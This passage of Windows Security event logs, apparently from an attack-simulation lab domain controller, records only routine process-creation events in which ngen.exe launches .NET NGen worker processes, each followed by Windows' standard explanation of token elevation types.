	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2dc -Pipe 2d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255198
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 838 -Pipe 2a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255197
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 838 -Pipe 1d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255206
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 368 -Pipe 264 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255205
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255204
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 288 -Pipe 2a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255203
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2c4 -Pipe 2f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255202
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 0 -NGENProcess 31c -Pipe 83c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255210
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2e4 -Pipe 2b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255209
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b0 -InterruptEvent 0 -NGENProcess 368 -Pipe 2c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255208
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 31c -Pipe 838 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255207
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 288 -Pipe 2e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255212
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2b0 -Pipe 2e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 82c -InterruptEvent 0 -NGENProcess 1e4 -Pipe 308 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255216
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 260 -InterruptEvent 0 -NGENProcess 368 -Pipe 29c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255215
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

